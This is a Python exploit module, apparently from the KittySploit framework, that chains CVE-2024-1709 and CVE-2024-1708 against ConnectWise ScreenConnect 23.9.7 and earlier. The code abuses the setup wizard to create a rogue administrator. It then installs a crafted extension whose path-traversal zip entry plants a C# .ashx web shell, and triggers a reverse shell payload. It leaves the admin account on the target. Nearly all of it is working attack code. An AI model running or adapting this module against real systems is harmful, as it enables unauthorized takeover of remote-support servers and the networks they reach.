ConnectWise ScreenConnect Auth Bypass RCE (CVE-2024-1709)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ConnectWise ScreenConnect auth bypass + extension RCE (CVE-2024-1709 / CVE-2024-1708)."""

from __future__ import annotations

import base64
import io
import json
import random
import re
import string
import uuid
import zipfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'ConnectWise ScreenConnect Auth Bypass RCE (CVE-2024-1709)',
        'description': (
            'Exploits CVE-2024-1709 to recreate the setup wizard and register an '
            'administrator, then CVE-2024-1708 path traversal in extension install '
            'to drop a .ashx handler that runs a reverse CMD payload. '
            'ScreenConnect <= 23.9.7.'
        ),
        'author': ['WatchTowr', 'KittySploit Team'],
        'cve': ['CVE-2024-1709', 'CVE-2024-1708'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': [Platform.WINDOWS, Platform.UNIX, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-1709',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-1708',
            'https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8',
            'https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/',
        ],
        'tags': [
            'screenconnect', 'connectwise', 'auth-bypass', 'extension', 'rce',
            'unauth', 'kev', 'cve-2024-1709',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 8,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce', 'credentials'],
            'requires': {
                'tech_hints_any': ['screenconnect', 'connectwise'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'admin_account', 'from_detail': 'SetupWizard'},
                    {'capability': 'rce', 'from_detail': 'extension .ashx handler'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [],
            },
        },
    }

    port = OptPort(8040, 'ScreenConnect HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    username = OptString('', 'Admin username to create (random if empty)', False)
    password = OptString('', 'Admin password (random if empty, min 8 chars)', False)
    shell = OptChoice(
        'windows',
        'OS shell for ProcessStartInfo',
        False,
        choices=['windows', 'unix'],
        advanced=True,
    )
    cleanup_extension = OptBool(True, 'Uninstall uploaded extension after exploit', False, advanced=True)

    def _api(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _rand_id(self, length: int = 8) -> str:
        return ''.join(random.choices(string.ascii_lowercase, k=length))

    def _parse_viewstate(self, html: str) -> tuple[str, str] | None:
        vs = re.search(r'name="__VIEWSTATE"[^>]*value="([^"]*)"', html, re.I)
        if not vs:
            return None
        vsg = re.search(r'name="__VIEWSTATEGENERATOR"[^>]*value="([^"]*)"', html, re.I)
        return vs.group(1), vsg.group(1) if vsg else ''

    def _jumble_host_aspx(self) -> str:
        base = 'Host.aspx'
        while True:
            mixed = ''.join(
                c.upper() if random.randint(0, 1) else c.lower() for c in base
            )
            if mixed != base:
                return mixed

    def _detect_version(self) -> tuple[str | None, str | None]:
        r = self.http_request(
            method='GET',
            path=self._api(self._jumble_host_aspx()),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) not in (302, 404):
            return None, None
        platform = 'windows' if int(r.status_code or 0) == 302 else 'unix'
        server = r.headers.get('Server', '')
        match = re.search(r'ScreenConnect/(\d+\.\d+\.\d+)', server, re.I)
        version = match.group(1) if match else None
        return version, platform

    def _version_vulnerable(self, version: str) -> bool:
        parts = [int(x) for x in version.split('.')[:3]]
        while len(parts) < 3:
            parts.append(0)
        return tuple(parts) <= (23, 9, 7)

    def _basic_auth(self, user: str, pwd: str) -> str:
        token = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
        return f'Basic {token}'

    def _build_ashx(self, handler_class: str, payload_key: str, platform: str) -> str:
        if platform == 'windows':
            exe, flag = 'cmd.exe', '/c'
        else:
            exe, flag = '/bin/sh', '-c'
        return f'''<%@ WebHandler Language="C#" Class="{handler_class}" %>
using System;
using System.Web;
using System.Diagnostics;
using System.Text;

public class {handler_class} : IHttpHandler {{
  public void ProcessRequest(HttpContext ctx) {{
    string key = ctx.Request["{payload_key}"];
    if (String.IsNullOrEmpty(key)) return;
    byte[] raw = Convert.FromBase64String(key);
    string cmd = Encoding.UTF8.GetString(raw);
    var psi = new ProcessStartInfo();
    psi.FileName = "{exe}";
    psi.Arguments = "{flag} \\"" + cmd + "\\"";
    psi.UseShellExecute = false;
    Process.Start(psi);
  }}
  public bool IsReusable {{ get {{ return true; }} }}
}}
'''

    def _build_extension_zip(self, ashx_name: str, ashx_body: str) -> bytes:
        plugin_guid = str(uuid.uuid4())
        manifest = f'''<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
  <Version>1.0.0</Version>
  <Name>{self.random_text(8)}</Name>
  <Author>{self.random_text(10)}</Author>
  <ShortDescription>{self.random_text(16)}</ShortDescription>
  <Components>
    <WebServiceReference SourceFile="{ashx_name}"/>
  </Components>
</ExtensionManifest>
'''
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr(f'{plugin_guid}/Manifest.xml', manifest)
            zf.writestr(f'{plugin_guid}/../{ashx_name}', ashx_body)
        return buf.getvalue(), plugin_guid

    def check(self):
        version, platform = self._detect_version()
        if not version:
            return {'vulnerable': False, 'reason': 'ScreenConnect not detected', 'confidence': 'low'}
        if self._version_vulnerable(version):
            return {
                'vulnerable': True,
                'reason': f'ScreenConnect {version} on {platform} (<= 23.9.7)',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': f'ScreenConnect {version} appears patched',
            'confidence': 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        user = str(self.username or '').strip() or self._rand_id(8)
        pwd = str(self.password or '').strip() or self.random_text(16)
        if len(pwd) < 8:
            print_error('Password must be at least 8 characters')
            return False

        print_status('CVE-2024-1709 — ScreenConnect setup wizard auth bypass')
        version, detected_platform = self._detect_version()
        if version:
            print_info(f'Detected ScreenConnect {version} ({detected_platform})')
            if not self._version_vulnerable(version):
                print_error('Target version appears patched')
                self.not_vulnerable()
                return False

        platform = str(self.shell or 'windows').strip().lower()
        if detected_platform == 'unix':
            platform = 'unix'

        r = self.http_request(method='GET', path=self._api('SetupWizard.aspx'), allow_redirects=True)
        if not r or int(r.status_code or 0) != 200:
            print_error('SetupWizard.aspx unreachable')
            self.not_vulnerable()
            return False

        state = self._parse_viewstate(r.text or '')
        if not state:
            print_error('Could not parse __VIEWSTATE')
            return False
        viewstate, viewstategen = state

        r = self.http_request(
            method='POST',
            path=self._api('SetupWizard.aspx'),
            data={
                '__EVENTTARGET': '',
                '__EVENTARGUMENT': '',
                '__VIEWSTATE': viewstate,
                '__VIEWSTATEGENERATOR': viewstategen,
                'ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton': 'Next',
            },
            allow_redirects=True,
        )
        if not r:
            print_error('Setup wizard step 1 failed')
            return False
        state = self._parse_viewstate(r.text or '')
        if not state:
            print_error('ViewState missing after wizard step 1')
            return False
        viewstate, viewstategen = state

        email = f'{user}@{self._rand_id(6)}.local'
        r = self.http_request(
            method='POST',
            path=self._api('SetupWizard.aspx'),
            data={
                '__EVENTTARGET': '',
                '__EVENTARGUMENT': '',
                '__VIEWSTATE': viewstate,
                '__VIEWSTATEGENERATOR': viewstategen,
                'ctl00$Main$wizard$userNameBox': user,
                'ctl00$Main$wizard$emailBox': email,
                'ctl00$Main$wizard$passwordBox': pwd,
                'ctl00$Main$wizard$verifyPasswordBox': pwd,
                'ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton': 'Next',
            },
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            print_error('Admin account creation failed')
            return False
        print_success(f'Administrator created: {user}:{pwd}')

        r = self.http_request(
            method='GET',
            path=self._api('Administration'),
            headers={'Authorization': self._basic_auth(user, pwd)},
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            print_error('Login with new admin failed')
            return False

        anti_forgery = ''
        match = re.search(r'"antiForgeryToken"\s*:\s*"([A-Za-z0-9+/=]+)"', r.text or '')
        if match:
            anti_forgery = match.group(1)

        handler_class = f'Handler{self.random_text(10)}'
        payload_key = self._rand_id(10)
        ashx_name = f'{self._rand_id(8)}.ashx'
        ashx_body = self._build_ashx(handler_class, payload_key, platform)
        zip_bytes, plugin_guid = self._build_extension_zip(ashx_name, ashx_body)

        install_headers = {'Content-Type': 'application/json'}
        if anti_forgery:
            install_headers['X-Anti-Forgery-Token'] = anti_forgery

        r = self.http_request(
            method='POST',
            path=self._api('Services', 'ExtensionService.ashx', 'InstallExtension'),
            headers=install_headers,
            data=json.dumps([base64.b64encode(zip_bytes).decode()]),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            print_error('Extension install failed')
            return False
        print_success(f'Extension installed: {plugin_guid}')

        b64_payload = base64.b64encode(payload_cmd.encode()).decode()
        r = self.http_request(
            method='POST',
            path=self._api('App_Extensions', ashx_name),
            data={payload_key: b64_payload},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            print_error('Payload trigger failed')
            return False

        if bool(self.cleanup_extension):
            uninstall_headers = {'Content-Type': 'application/json'}
            if anti_forgery:
                uninstall_headers['X-Anti-Forgery-Token'] = anti_forgery
            self.http_request(
                method='POST',
                path=self._api('Services', 'ExtensionService.ashx', 'UninstallExtension'),
                headers=uninstall_headers,
                data=json.dumps([plugin_guid]),
                allow_redirects=False,
            )
            print_info('Extension uninstalled')

        print_success('Payload dispatched — check listener for session')
        print_warning(f'Admin account {user} remains on target')
        self.vulnerable()
        return True